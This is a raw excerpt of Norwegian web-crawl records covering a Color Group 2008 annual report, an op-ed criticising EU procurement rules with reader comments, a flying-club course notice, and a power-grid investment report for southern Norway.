av 2008 var antall \u00e5rsverk i konsernet Av disse arbeidet personer om bord i skipene. I 2008 utgjorde det gjennomsnittlige sykefrav\u00e6ret i konsernet ca 5,5 prosent for landansatte (6,5 prosent i 2007) og ca. 11,3 prosent for sj\u00f8ansatte (9,8 prosent i 2007). Frav\u00e6ret p\u00e5 sj\u00f8 m\u00e5 sees p\u00e5 bakgrunn av betydelige endringer i driften i 2008 med rutenedleggelse, endring av tonnasje og generell nedbemanning. Arbeidet med \u00e5 redusere frav\u00e6ret er en prioritert oppgave i Styret vurderer arbeidsmilj\u00f8et i konsernet som godt og vil fortsatt ha h\u00f8y fokus p\u00e5 milj\u00f8 og sykefrav\u00e6r b\u00e5de for land- og sj\u00f8ansatte i tr\u00e5d med selskapets policy og samfunnets trender. LIKESTILLING Color Group ASA har som m\u00e5l \u00e5 v\u00e6re en arbeidsplass der det r\u00e5der full likestilling mellom kvinner og menn. Styret til Color Group ASA best\u00e5r av tre medlemmer, hvorav 1 kvinne. Av konsernets 1899 ansatte om bord p\u00e5 skipene er 788 kvinner. Av totalt 276 ledere er 35 kvinner. Andelen kvinner i ledende stillinger om bord er relativt lav da tekniske/maritime stillinger tradisjonelt har v\u00e6rt preget av menn og tilgangen p\u00e5 kvinner med n\u00f8dvendige sertifikater er liten. Av konsernets 693 \u00e5rsverk for landansatte er 398 kvinner. I Color Line AS konsernledergruppe er det 2 kvinner. Andelen kvinner i ledende stillinger p\u00e5 land utgj\u00f8r ca 45 prosent.\n\n\n\n4 SIKKERHET Color Line gir sikkerhet og milj\u00f8vern h\u00f8yeste prioritet, og bestreber seg p\u00e5 \u00e5 forebygge farlige situasjoner som kan medf\u00f8re skade p\u00e5 liv og helse eller skade milj\u00f8et. Color Line prioriterer \u00e5 ligge i fremste rekke p\u00e5 omr\u00e5dene sikkerhet og milj\u00f8, og er representert i internasjonale og nasjonale prosjekter og organer som arbeider med sikkerhet og milj\u00f8. Myndighetenes krav til sikkerhet, milj\u00f8 og drift av passasjerskip ivaretas av selskapets kvalitetssikringssystem i henhold til ISM-koden. Det arbeides kontinuerlig med forbedringer av SMS-systemet, samt TQM systemet for rapportering og tiltak ved alvorlige hendelser og driftsforstyrrelser. Alle uhell, nesten-uhell og utilsiktede hendelser blir rapportert og analysert, og n\u00f8dvendige tiltak for \u00e5 unng\u00e5 gjentagelser blir iverksatt. Det inntraff ingen st\u00f8rre uhell i 2008 som medf\u00f8rte alvorlig personskade eller milj\u00f8forurensing. MILJ\u00d8 Color Line har gjennom sitt omfattende nybyggingsprogram de senere \u00e5r anskaffet nye skip utrustet med ny teknologi som gir bedre milj\u00f8messige kvaliteter og relativt sett reduserte utslipp sammenlignet med skipene som ble erstattet. Norske rederier skal v\u00e6re en p\u00e5driver for \u00e5 sikre internasjonalt h\u00f8ye milj\u00f8standarder i FNs sj\u00f8fartsorganisasjon, IMO og andre internasjonale organer, og skal v\u00e6re innovative i utviklingen av milj\u00f8vennlige l\u00f8sninger. En vesentlig forutsetning for arbeidet innen sikkerhet og milj\u00f8 er \u00e5 bidra til konkrete tiltak som m\u00e5 v\u00e6re regulert av et felles internasjonalt regelverk. STYRET OG AKSJON\u00c6RFORHOLD O. N. Sunde AS eier indirekte 100 prosent av selskapets aksjer. O. N. Sunde AS eies 100 prosent av styremedlem og konsernsjef Olav Nils Sunde med familie. FREMTIDSUTSIKTER / HENDELSER ETTER BALANSEDAGEN Endrede markedsvilk\u00e5r Cruise- og sj\u00f8transportn\u00e6ringen er kapitalkrevende og stiller store krav til kostnadsstyring og inntjeningsniv\u00e5. Det internasjonale markedet for sj\u00f8transport gjennomg\u00e5r store endringer. I Europa har blant annet \u00f8kningen i antallet lavpris flyreiser og betydelig \u00f8kte drivstoffkostnader bidratt til synkende passasjertall og \u00f8kte driftskostnader. Samtidig har utviklingen v\u00e6rt positiv innen transport av gods.\n\n\n\n", "language": "no", "__index_level_0__": "2bc1c239-63e9-41f1-933a-30ef8f1c856b"}
{"url": "http://www.ivarjohansen.no/temaer/internasjonal-politikk/2329-eu-anbud-kommuner.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:30:19Z", "text": "# Internasjonal politikk\n\n## Dag Seierstad: Frihet til \u00e5 anskaffe\n\n    Publisert tirsdag 02. mars 2010 03:12\n\nEUs anbudsregler for offentlige innkj\u00f8p fungerer som ei tvangstr\u00f8ye for kommuner og andre offentlige instanser. Anbudskravet gjelder ogs\u00e5 selskap som driver sin virksomhet p\u00e5 basis av en offentlig konsesjonsordning, som oljeselskapene p\u00e5 sokkelen. Det er uro omkring anbudsreglene ikke bare i Norge, men ogs\u00e5 i mange EU-land. Kommune-Europas interesseorganisasjon, CEMR, har p\u00e5 en h\u00f8ring i EU-parlamentet nylig reist kravet om \u00abfrihet til \u00e5 anskaffe\u00bb: Kommunale og regionale myndigheter m\u00e5 ha st\u00f8rre frihet til \u00e5 velge hvordan de skal innrette seg n\u00e5r det gjelder innkj\u00f8p og byggeoppdrag, skriver Dag Seierstad.  \n  \n**  \nFrihet til \u00e5 anskaffe\\!  \n  \nAv Dag Seierstad, E\u00d8S-r\u00e5dgiver for SVs stortingsgruppe og landsstyremedlem i SV.**  \n  \nEUs anbudsregler for offentlige innkj\u00f8p fungerer som ei tvangstr\u00f8ye for kommuner og andre offentlige instanser. Anbudskravet gjelder ogs\u00e5 selskap som driver sin virksomhet p\u00e5 basis av en offentlig konsesjonsordning, som oljeselskapene p\u00e5 sokkelen.  \n  \nDet er uro omkring anbudsreglene ikke bare i Norge, men ogs\u00e5 i mange EU-land. Kommune-Europas interesseorganisasjon, CEMR, har p\u00e5 en h\u00f8ring i EU-parlamentet nylig reist kravet om \u00abfrihet til \u00e5 anskaffe\u00bb: Kommunale og regionale myndigheter m\u00e5 ha st\u00f8rre frihet til \u00e5 velge hvordan de skal innrette seg n\u00e5r det gjelder innkj\u00f8p og byggeoppdrag.  \n  \nFor Kommune-Norge er anbudsreglene det mest plagsomme ved E\u00d8S-avtalen. EU krever at alle kommunale innkj\u00f8p over ei grense p\u00e5 1,7 millioner kroner m\u00e5 legges ut p\u00e5 \u00e5pent anbud over hele EU/E\u00d8S-omr\u00e5det, det vil si i 27 EU-land i tillegg til Norge, Island og Liechtenstein. Kravet gjelder b\u00e5de ved kj\u00f8p av varer og av tjenester.  \n  \nFor statlige innkj\u00f8p er terskelen satt til 1,1 millioner kroner. Her i Norge har vi satt grensa b\u00e5de for statlige og kommunale innkj\u00f8p enda lavere. Den ble i september 2005 \u00f8kt til en halv million kroner, etter at den ei tid hadde v\u00e6rt s\u00e5 lav som 200.000 kroner.  \n  \nTilsvarende krav om \u00e5pne anbud i alle EU/E\u00d8S-land gjelder ogs\u00e5 for st\u00f8rre offentlige anlegg og byggeoppdrag. Her har EU satt ei nedre grense p\u00e5 43 millioner kroner.  \n  \nVed disse anbudene m\u00e5 leverand\u00f8rer og entrepren\u00f8rer fra 29 land stilles p\u00e5 lik linje med norske. S\u00e5 sant anbudskrava er oppfylt, skal billigste tilbud velges. Det er ikke lenger mulig for kommuner og fylkeskommuner \u00e5 styre kontraktene mot lokale selskap for \u00e5 sikre lokalt n\u00e6ringsliv og lokal sysselsetting.  \n  \nDette anbudsregimet er like plagsomt i EU som i E\u00d8S-landet Norge. If\u00f8lge CEMR, Europar\u00e5dets forum for kommuner og regioner, er innkj\u00f8psreglene blitt s\u00e5 innfl\u00f8kte at de er mer skadelige enn nyttige.  \n  \nP\u00e5 h\u00f8ringen i EU-parlamentet la talspersonen for CEMR vekt p\u00e5 at anbudsprosesser som skulle ha bidratt til konkurranse, \u00abhar blitt dyrere, kompliserte og mer konfliktskapende for alle parter\u00bb.  \n  \nRegelverket utl\u00f8ser stadig rettssaker reist av dem som taper anbudskampene. Det f\u00f8rer til at oppdragsgiverne m\u00e5 legge mye arbeid i \u00e5 verge seg mot at de kan trekkes inn for domstolene. Juridisk trygghet blir ofte viktigere enn \u00e5 utforme anbudet slik at oppdraget kan utf\u00f8res best mulig.  \n  \nEU-domstolen har dessuten de siste m\u00e5nedene felt noen dommer som gj\u00f8r at usikkerheten om hva som er gyldig rett, brer seg. En del av dommene har hatt \u00abuventede, uforutsette og uvelkomne konsekvenser\u00bb for oppdragsgiverne ved at de stiller mer omfattende anbudskrav enn f\u00f8r \u2013 if\u00f8lge CEMR.  \n  \nDet har f\u00f8rt at det blir flere rettssaker \u2013 og dermed forsinkelser, \u00f8kte kostnader og usikkerhet b\u00e5de for oppdragsgiver og leverand\u00f8r/utbygger. Slikt kommer p\u00e5 tampen av en anbudsprosess som alt p\u00e5 forh\u00e5nd har krevd mye av b\u00e5de tid og penger. P\u00e5 denne m\u00e5ten blir bruken av anbud langt mindre effektiv enn den var tenkt \u00e5 v\u00e6re.  \n  \nCEMR ber derfor om en full gjennomgang av direktivene om offentlige anskaffelser. Dagens situasjon f\u00f8rer til \u00abforvirring og juridisk usikkerhet hos innkj\u00f8pere og politikere p\u00e5 kommunalt og regionalt niv\u00e5\u00bb.  \n  \nCEMR stiller en serie krav til hva som m\u00e5 endres. Det viktigste er at EU-kommisjonen og andre EU-instanser godkjenner at lokale myndigheter har en grunnleggende rett til \u00e5 bestemme n\u00e5r de skal legge oppdrag ut til \u00e5pen anbudskonkurranse og n\u00e5r de ikke skal det.  \n  \nEt annet sentralt krav er at regionale og kommunale myndigheter m\u00e5 kunne overlate oppdraget til selskap som de eier eller kontrollerer uten at oppdraget m\u00e5 legges ut p\u00e5 anbud. I dag er det slik at for eksempel et kommunalt aksjeselskap m\u00e5 inn i anbudskonkurranser om ethvert oppdrag for egen kommune.  \n  \nOppdrag m\u00e5 ogs\u00e5 kunne gis til interkommunale selskap uten anbudskonkurranse. Det er forbudt i dag.  \n  \nCEMR vil at det blir friere adgang til \u00e5 bestemme hvilke kriterier som skal legges til grunn for \u00e5 vurdere de tilbudene som legges inn. Retten til \u00e5 forhandle med aktuelle tilbydere f\u00f8r det endelige tilbudet utformes, er ogs\u00e5 n\u00f8dvendig for \u00e5 f\u00e5 fram gode l\u00f8sninger p\u00e5 teknisk kompliserte innkj\u00f8p og byggeoppdrag.  \n  \nB\u00e5de i EU og her i landet er EU-kravet om anbud begrunna med at det vil spare det offentlige for store bel\u00f8p. Konkurransen mellom ulike anbydere skal i teorien presse prisene nedover. S\u00e5 entydige er erfaringene p\u00e5 ingen m\u00e5te.  \n  \nE\u00d8S p\u00e5tvinger oss et regelverk for offentlige innkj\u00f8p og byggeoppdrag som blir byr\u00e5kratisk, dyrt og til fordel for de st\u00f8rste leverand\u00f8rene. Det var konklusjonen da Statskonsult unders\u00f8kte ordningen v\u00e5ren 1997. Asplan Analyse kom til et tilsvarende resultat i 2005.  \n  \nDet krever b\u00e5de arbeidstid og spesialisert kompetanse \u00e5 sette seg inn i anbudsprosedyrene, utforme anbudsdokumentene slik at de kan lyses ut internasjonalt og gjennomf\u00f8re vurderingen av de tilbudene som kommer inn p\u00e5 en slik m\u00e5te at ingen klager. E\u00d8S-anbudene er derfor b\u00e5de dyre og tungvinte for mange kommuner og andre offentlige instanser.  \n  \nKritikken mot anbudsreglene i E\u00d8S-avtalen betyr naturligvis ikke at alternativet er et forbud mot \u00e5pne anbud n\u00e5r offentlige instanser skal bygge eller foreta store innkj\u00f8p. De fleste offentlige byggherrer vil velge \u00e5 hente inn tilbud fra flere entrepren\u00f8rer, og de fleste innkj\u00f8pere vil ogs\u00e5 se seg n\u00f8ye om i markedet f\u00f8r de g\u00e5r til st\u00f8rre innkj\u00f8p.  \n  \nMen det er p\u00e5 det lokale niv\u00e5et sakkunnskapen er st\u00f8rst n\u00e5r en skal avgj\u00f8re hva det er \u00e5 vinne p\u00e5 en \u00e5pen anbudskonkurranse i 30 land i forhold til en mer begrensa anbudskonkurranse \u2013 eller p\u00e5 en kontrakt direkte med et lokalt firma. Derfor er kravet til CEMR om st\u00f8rre \u00abfrihet til \u00e5 anskaffe\u00bb, godt begrunna.  \n  \n(Klassekampen 13. febr 2010)  \n  \n   0   \\#1 Haakon 02-03-2010 14:21\n\nDet blir selv under disse strenge regler avdekket svikt i innkj\u00f8psrutiner og at oppdrag har g\u00e5tt til n\u00e6r familie av en myndighetesperson.  \n  \n   0   \\#2 Dag Westhrin 02-03-2010 18:37\n\nEn viss frihet til \u00e5 anskaffe er s\u00e6rdeles viktig i v\u00e5rt langstrakte land. Slik systemet er fungerer det som en tvangstr\u00f8ye, s\u00e5 vi f\u00e5r h\u00e5pe det kommer noe ut av EU-parlamentets krav. Skj\u00f8nt jeg tviler....\n\n   0   \\#3 Haakon 02-03-2010 20:30\n\nVel - vi praktiserer reglene strengere enn EU legger opp til. S\u00e5 kanskje du kan prate med dine venner i regjeringen f\u00f8r du fyrer l\u00f8s mot EU?\n\n   0   \\#4 Bj\u00f8rn Hansen 03-03-2010 22:52\n\nHva er hensikten med denne friheten dere p\u00e5peker. Er det  \nA. markedsdiversit eten; sluttbrukernes fordeling og behov skal sjekkes ut? B. Kvalitetskraven e til anbudsinnbydelsen.  \nC. Fortsette med den Norske trenden at n\u00e5r nasjonalforsaml ingen har fattet vedtak kan man i lokaldemokratie ts navn skaffe brukerne sine d\u00e5rligere anbud og derved d\u00e5rligere l\u00f8sninger?\n\n", "language": "no", "__index_level_0__": "cd2687ff-3f8d-4a21-b180-30adb7d1b806"}
{"url": "https://sffk.org/2018/02/27/602/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:04:22Z", "text": "# Sola Flystasjon Flyklubb\n\n\n# Formasjonskurset avholdt 24-25 februar\u00a02018\n\nHelgen 24. og 25. februar arrangerte SFFK teorikurs i grunnleggende formasjonsflyging med Helge \u00d8gl\u00e6nd og Thomas Gundersen som instrukt\u00f8rer. Fokus var p\u00e5 roller og ansvar under formasjonsflyging og man\u00f8vrering av fly i formasjon. Kurset ble fulltegnet p\u00e5 rekordtid og trakk klubbens medlemmer helt fra Bergen og med det var ogs\u00e5 Flesland Flystasjon Flyklubb og Norwegian Flying Aces representert.\n\n\n\n*Kursdeltakere og instrukt\u00f8rer*.\n\n", "language": "no", "__index_level_0__": "0effc3ed-57b0-4263-950d-0abcdcf6494c"}
{"url": "http://docplayer.me/4126578-Pa-nett-med-framtida-kraftnettets-betydning-for-verdiskaping.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:43Z", "text": "5 FORORD Norge st\u00e5r foran et ti\u00e5r med store investeringer i kraftsystemet, b\u00e5de i ny produksjon og i nettet. Kraftnettet er en kritisk infrastruktur, som all \u00f8konomisk aktivitet i er avhengig av. Hvorfor og hvordan vi bygger ut kraftnettet, er derfor viktig for velstands- og velferdsutviklingen i det norske samfunnet. har p\u00e5 initiativ fra Energi Norge og Statnett analysert sammenhengen mellom utbyggingen av kraftnettet og ulike samfunnsm\u00e5l, som verdiskaping, kutt i utslippene av klimagasser og en sikker energiforsyning. Resultatene av analysene er dokumentert i \u00e9n nasjonal rapport og 5 regionale delrapporter. Delrapportene er utf\u00f8rt for Region nord (Finnmark, Troms og Nordland), Region midt (Nord- Tr\u00f8ndelag, S\u00f8r-Tr\u00f8ndelag og M\u00f8re og Romsdal), Region vest (Sogn og Fjordane, Hordaland, Rogaland), Region \u00f8st (Hedmark, Oppland, Buskerud, Akershus, Oslo, \u00d8stfold) og Region s\u00f8r (Vestfold, Telemark, Aust-Agder, Vest-Agder). Vi vil takke f\u00f8lgende selskaper og organisasjoner som har finansiert prosjektet og deltatt i styringsgrupper og arbeidsgrupper p\u00e5 nasjonalt og regionalt niv\u00e5: Nasjonalt: Energi Norge, Statnett, NHO, Statkraft, Norsk Industri, Norsk Hydro, Statoil, The Norwegian Smartgrid Centre, BKK og Gassco Region nord: Troms Kraft, Lofotkraft, SKS og Vester\u00e5lskraft Nett Region midt: Tr\u00f8nderenergi, Tafjord Kraft, Istad Kraft Region vest: Sogn og Fjordane Energi, SKL, Sunnfjord Energi og Sognekraft Region s\u00f8r: Lyse, Agder Energi, Skagerrak Nett Region \u00f8st: Hafslund Nett, Eidsiva Nett Sammen med Norsk Industri har ogs\u00e5 Finnfjord, Elkem, Alcoa og Fesil deltatt i arbeidsm\u00f8ter. I tillegg har enkelte regionskontorer i NHO deltatt i arbeidsm\u00f8ter. Vi har ogs\u00e5 hatt gleden av en referansegruppe hvor WWF, Bellona, Norwea og Sm\u00e5kraftforeninga har gitt gode innspill gjennom prosessen. s prosjektteam har best\u00e5tt av Eivind Magnus, Kristine Fiksen, \u00c5smund Jenssen, Guro Gravdehaug, Roger Gr\u00f8ndahl, Silje Harsem, Christoffer Noreng og Magnus Solli Haukaas. H\u00e5kon Taule Prosjektleder for Oslo, januar 2013 Side v\n\n\n\n\n\n\n9 SAMMENDRAG OG KONKLUSJONER Et robust kraftnett er avgj\u00f8rende for langsiktig verdiskaping og velferdsvekst. Uten de p\u00e5begynte og planlagte nettforsterkningene legges det sterke begrensninger p\u00e5 mulighetene og n\u00e6ringsutviklingen i Region s\u00f8r. De kvantifiserte kostnads- og nyttevirkningene av de planlagte nettinvesteringene i regionen gir samlet sett et positivt resultat med god margin. Norge st\u00e5r foran et ti\u00e5r med store investeringer i kraftsystemet, b\u00e5de i ny produksjon og i distribusjons-, regional- og sentralnettet. Et robust kraftnett avgj\u00f8rende for langsiktig verdiskaping og velferdsvekst. \u00c5rsaken er at elektrisitet er den viktigste infrastrukturen i et moderne samfunn fordi alle gj\u00f8rem\u00e5l og all annen infrastruktur avhenger av sikker tilgang til str\u00f8m. Det er en kompleks oppgave \u00e5 vurdere de samlede nytteverdiene av nettinvesteringer opp mot kostnadene. Dette prosjektet har som form\u00e5l \u00e5 utvikle mer kunnskap om sammenhengene mellom nettutbygging og samfunnsm\u00e5l, b\u00e5de for landet som helhet og de ulike regionene. Denne rapporten tar for seg sammenhengen mellom nettinvesteringer og den medf\u00f8lgende samfunnsnytten i Region s\u00f8r. Region s\u00f8r omfatter Agderfylkene, Telemark og Vestfold. Industrien st\u00e5r for en stor andel av b\u00e5de verdiskapingen og kraftforbruket. Behovene for nettinvesteringer er likevel i liten grad begrunnet i industriutvikling i denne delen av landet. De st\u00f8rste investeringsplanene i Region s\u00f8r er et resultat av at regionen i stor grad p\u00e5virkes av kraftsituasjonen i de tilliggende regionene, og at det er mye transitt av kraft igjennom regionen. Region vest har periodevis stort overskudd av kraft, mens Region \u00f8st gjennomg\u00e5ende har et stort kraftunderskudd. I tillegg er det fire mellomlandsforbindelser mot Danmark og Nederland fra Region s\u00f8r. Det gir mye transitt av kraft igjennom regionen, og det oppst\u00e5r per i dag flaskehalser p\u00e5 sentralnettsledningene b\u00e5de mot \u00f8st og vest. Et framtidig kraftoverskudd og en \u00f8kt andel uregulert kraft vil \u00f8ke nord-s\u00f8r flyten i det norske kraftsystemet og \u00f8ke den samlede tiden med eksport. En stor andel av potensialet for ny kraft er p\u00e5 Vestlandet og i Nordland, og kraften m\u00e5 i store deler av \u00e5ret fraktes s\u00f8rover til forbruksomr\u00e5dene i Norge, Sverige og til mellomlandsforbindelsene for eksport til kontinentet, samt Storbritannia. Ingen regioner i landet vil p\u00e5virkes like stort av denne endringen i kraftflyten som Region s\u00f8r. Belastningen p\u00e5 kraftsystemet som helhet vil v\u00e6re h\u00f8yere i eksportsituasjoner enn i importsituasjoner. \u00c5rsaken er at flyten i systemet ved eksport g\u00e5r i samme retning som den generelle innenlandske flyten og kommer p\u00e5 toppen av denne. N\u00e5r en f\u00e5r eksport en st\u00f8rre del av tiden enn i dag vil belastningen i dagens system i hele Norge i nord-s\u00f8rlig retning \u00f8ke. De st\u00f8rste prosjektene i Region s\u00f8r den neste 10-\u00e5rsperioden omfatter oppgradering av \u00d8stre og Vestre korridor og \u00f8kning av kapasiteten p\u00e5 mellomlandsforbindelsene til Kontinentet og Storbritannia. Oppgradering av Vestre og \u00d8stre korridor vil redusere flaskehalsene i systemet og er en forutsetning for \u00e5 \u00f8ke utvekslingskapasiteten mot resten av Europa. Region s\u00f8r, med unntak av Vestfold, har mye vannkraftproduksjon og h\u00f8y magasinkapasitet. Agderfylkene og Telemark har da ogs\u00e5 et betydelig kraftoverskudd over \u00e5ret. Til tross for dette, er det noen utfordringer knyttet til driftssikkerheten i kraftforsyningen til Vest-Agder p\u00e5 grunn av begrensninger i transformatorkapasiteten p\u00e5 flere nettniv\u00e5. Kapasitetsbegrensningen i transformatorer mellom regional- og sentralnettet hindrer ny kraftproduksjon fra \u00e5 kobles p\u00e5 regionalnettet, og gir redusert forsyningssikkerhet i Vest-Agder. Statnett planlegger \u00e5 utbedre dette de n\u00e6rmeste \u00e5rene. For \u00e5 f\u00e5 full effekt av investeringene i transformatorene, vil det ogs\u00e5 investeres i Vest-Agders regionalnett med noe medf\u00f8lgende sanering. I sentralnettet i regionen er det ogs\u00e5 utfordringer knyttet til spenningsvariasjoner, noe som kan skade produksjonsutstyr, blant annet i industrien. Planlagte investeringer i spenningsregulerende utstyr, vil sikre at spenningsniv\u00e5et i regionen holdes innenfor tillatte grenser. Generelt sett har kraftnettet p\u00e5 alle nettniv\u00e5 i regionen en alder som tilsier et h\u00f8yt for reinvesteringsbehov de neste \u00e5rene. I Region s\u00f8r er det estimert at 36 prosent, av de samlede nettinvesteringene p\u00e5 alle nettniv\u00e5er, vil v\u00e6re reinvesteringer i perioden fram til Side 1\n\n\n\n10 Gjennomgangen viser at nettutbyggingsplanene for Region s\u00f8r legger til rette for \u00e5 gjennomf\u00f8re mange \u00f8konomisk l\u00f8nnsomme prosjekter innen kraftutveksling og produksjon, samt sikre str\u00f8mforsyning til vekst i elforbruket til alminnelig forsyning. Den forventede n\u00e5verdien av disse prosjektene er vesentlig h\u00f8yere enn n\u00e5verdien av de \u00f8kte kapital- og driftskostnadene som nettutbyggingen f\u00f8rer med seg. I tillegg vil utbyggingsplanen bedre forsyningssikkerhet og leveringskvaliteten og ha flere andre positive systemeffekter som ikke er verdsatt. De verdsatte elementene summerer seg til en samfunns\u00f8konomisk n\u00e5verdi p\u00e5 vel 16,5 milliarder kroner. Dersom Vestre korridor av ulike grunner ikke blir realisert, vil det samfunns\u00f8konomiske n\u00e5verditapet sammenlignet med full utbygging utgj\u00f8re 15,8 milliarder kroner. En stor andel av dette tapet er inntektstap fordi mellomlandsforbindelser ikke kan realiseres. Risikoen for overinvesteringer i regionen er begrenset og i hovedsak knyttet til om mellomlandsforbindelsene blir realisert som planlagt. Vestre korridor m\u00e5 reinvesteres uansett i l\u00f8pet av de neste ti\u00e5rene, og har flere nyttevirkninger enn realisering av mellomlandsforbindelser. Dessuten vil nettinvesteringene v\u00e6re l\u00f8nnsomme ogs\u00e5 ved en utsatt eller begrenset investering i mellomlandsforbindelser. Verdien av ledig kapasitet i nettet kan tilf\u00f8re ytterligere nytteeffekter etter Det ligger et potensial for kraftproduksjon etter 2020 i regionen estimert til 1,3 milliard kroner. I tillegg finnes det muligheter for \u00f8kt kraftforbruk, b\u00e5de gjennom forbruksvekst og elektrisk konvertering av oljekjeler og biltransport. De to sistnevnte kan ha en klimaeffekt opptil 1,1 milliarder kroner. Samlede investeringer i nett og produksjon for Region s\u00f8r er estimert til i overkant av 31 milliarder kroner i perioden 2012 til Investeringsplanene bidrar til \u00f8kt verdiskaping og behov for arbeidskraft b\u00e5de i investeringsfasen og etter hvert som de nye anleggene settes i drift. Direkte og indirekte sysselsettingsvirkninger knyttet til investeringene kommer opp i \u00e5rsverk n\u00e5r investeringsb\u00f8lgen n\u00e5r sitt toppunkt. Sysselsettingsvirkningene i driftsfasen er i slutten av perioden beregnet til om lag 650 \u00e5rsverk, jevnt fordelt p\u00e5 direkte og indirekte virkninger. En andel av disse \u00e5rsverkene vil bli utf\u00f8rt utenfor regionen. Side 2\n\n\n\n\n\n12 Prosjekter er delt i to hovedl\u00f8p: Nasjonalt l\u00f8p: Her g\u00e5r vi gjennom den historiske utviklingen av det norske kraftsystemet med vekt p\u00e5 nettet og sammenhengen mellom kraft og verdiskaping. P\u00e5 det grunnlaget beskriver vi investeringsplanene for nettet de neste ti\u00e5rene og dr\u00f8fter de samfunns\u00f8konomiske konsekvensene av \u00e5 gjennomf\u00f8re planene herunder kostnadene ved ikke \u00e5 investere i henhold til planene. Avslutningsvis dr\u00f8fter vi hvordan en nasjonal strategi for nettutviklingen kan utformes. Regionalt l\u00f8p: En gjennomgang av hva som er de bakenforliggende \u00e5rsakene til \u00f8kt behov for nett i de ulike regionene og hvilke nettprosjekter som er planlagt. Den samfunns\u00f8konomiske verdien av de samlede nettinvesteringene er beskrevet, og de viktigste faktorene er kvantifisert. Ikke-kvantifiserte nyttevirkninger er ogs\u00e5 diskutert. Vi dr\u00f8fter ogs\u00e5 risikoen og de overordnet om konsekvensene ved en ubalansert utvikling, dvs der det ikke er samsvar mellom faktiske nettbehov og realiserte nettinvesteringer. Det er utarbeidet en overordnet rapport som omhandler utviklingen av det norske kraftsystemet og sammenhengen mellom nettutbygging og verdiskaping i samfunnet p\u00e5 et overordnet niv\u00e5. I tillegg er det utarbeidet en rapport for hver av regionene nord, midt, vest, s\u00f8r og \u00f8st. Region s\u00f8r er i denne rapporten definert som fylkene Aust- og Vest-Agder, Telemark og Vestfold 1. I disse rapportene har vi basert oss p\u00e5 offentlig tilgjengelige dokumenter. Alle vurderinger og beregninger st\u00e5r for s regning alene. 1.3 Industrien er viktig i regionen Kraftintensiv industri har stor betydning for verdiskapingen i regionen Samlet antall innbyggere i regionen er , men det er store forskjeller i befolkningstetthet i regionen. 55 prosent av innbyggerne bor i byene, og byene et plassert langs kysten. Nesten en tredjedel av befolkningen i regionen bor i Vestfold til tross for at dette er det minste fylket i regionen. Den st\u00f8rste byen i regionen er imidlertid Kristiansand med sine innbyggere. Aust-Agder har kun innbyggere og er med dette landets tredje minste fylke m\u00e5lt i innbyggertall. Industrien st\u00e5r sterkt i Region s\u00f8r. Industriens andel av verdiskapingen m\u00e5lt ved bruttoproduktet er nesten dobbel s\u00e5 h\u00f8y i Region s\u00f8r som for landet som helhet. Den samlede verdiskapingen i regionen var i 2009 rundt regnet 200 milliarder kroner, mens den totale sysselsettingen var like under personer. Innen produksjon av metallvarer har S\u00f8rlandet den h\u00f8yeste verdiskapingen i landet. Godt over halvparten av industrien i Region s\u00f8r er kjemisk industri eller relatert til produksjon av metallvarer, elektrisk utstyr og maskiner. Figur 1.1 viser bruttoproduktet i de fire fylkene fordelt p\u00e5 et utvalg n\u00e6ringer fremstilt som andel av samlet verdiskapning, mens Figur 1.2 viser tilsvarende tall for sysselsettingen. 1 Vi har valgt \u00e5 avgrense regionene i dette prosjektet etter fylkesgrenser. I kraftsystemanalyser er inndelingene oftest gjort p\u00e5 basis av flaskehalser i nettet. Side 4\n\n\n\n13 Industri Elektrisitets-, gassog varmtvannsforsyning Industri Elektrisitets-, gassog varmtvannsforsyning Andel av samlet bruttoprodukt Andel av samlet sysselsetting THEMA-Rapport : P\u00e5 nett med framtida Figur 1.1. N\u00e6ringers andel av samlet bruttoprodukt Figur 1.2. N\u00e6ringers andel av samlet sysselsetting 30% 25% 20% 15% 10% Produksjon av metallvarer, elektrisk utstyr og 20 % 16 % 12 % 8 % Landsgjennomsnitt Telemark Vestfold Aust-Agder Vest-Agder 5% 4 % 0% 0 % Kilde: SSB, I Vestfold utgj\u00f8r industrien over 18 prosent av Vestfolds bruttoprodukt, og like under 14 prosent av sysselsettingen. Viktige industribedrifter er Hydro Aluminium Rolled Products som ligger i Holmestrand, Jotun i Sandefjord og Horten Industripark samt Kongsberg Maritime som lager subseal\u00f8sninger i Horten. Industrien i Vestfold er ikke kraftintensiv. Brorparten av industrien i Telemark er sentrert til Grenlandsomr\u00e5det. Store prosessbedrifter som Eramet, Norcem, Yara og Ineos har lenge dannet ryggraden i fylket. Prosessbedriftene har skapt grobunn for et innovativt milj\u00f8 og n\u00e6ringsklynger for vekst innen IKT, bioteknologi, media og kultur. Det er ogs\u00e5 betydelig kraftproduksjon i Telemark, og verdiskapingen fra denne virksomheten er relativt sett av stor betydning for fylkets verdiskaping. Aust-Agders industri er i hovedsak relatert til b\u00e5ter, skip og seiling gjennom bedrifter som Ugland Marine, Aker Solutions og Sevan Marine. Saint-Gobain, produsent av ulike materialer, er lokalisert i Aust-Agder. Vest-Agder har betydelig mer industri. Hele 25 prosent av fylkets verdiskaping kommer fra industri og Vest-Agder har s\u00e5ledes den h\u00f8yeste andelen i landet. En stor andel av industrien er kraftintensiv. Blant st\u00f8rre kraftintensive bedrifter som b\u00f8r nevnes finner vi Alcoas aluminiumsverk p\u00e5 Lista, Eramet, Elkem og XSTRATA (tidligere Falconbridge) Industrien er en stor kraftforbruker Samlet kraftforbruk i Region s\u00f8r var i perioden rundt 17 TWh i gjennomsnitt per \u00e5r. Figur 2.3 viser hvordan kraftforbruket var fordelt p\u00e5 ulike forbruksgrupper. Alminnelig forsyning utgj\u00f8r forbruket i husholdninger, offentlig sektor, tjenesteytende sektor, transport og ellers alle grupper som ikke er inkludert i de spesifiserte industrin\u00e6ringene. Husholdninger og bygg- og anleggsvirksomhet utgj\u00f8r en stor del av alminnelig forsyning. Kraftforbruket i Telemark og Agder reflekterer at det finnes mye kraftintensiv industri i regionen. Industriens forbruk utgj\u00f8r rundt halvparten av det samlede kraftforbruket i fylkene. Ser man derimot p\u00e5 vestfoldingene for seg s\u00e5 er deres forbruk dominert av alminnelig forsyning. Forbruket fra kraftintensiv industri er jevnt over \u00e5ret og d\u00f8gnet. 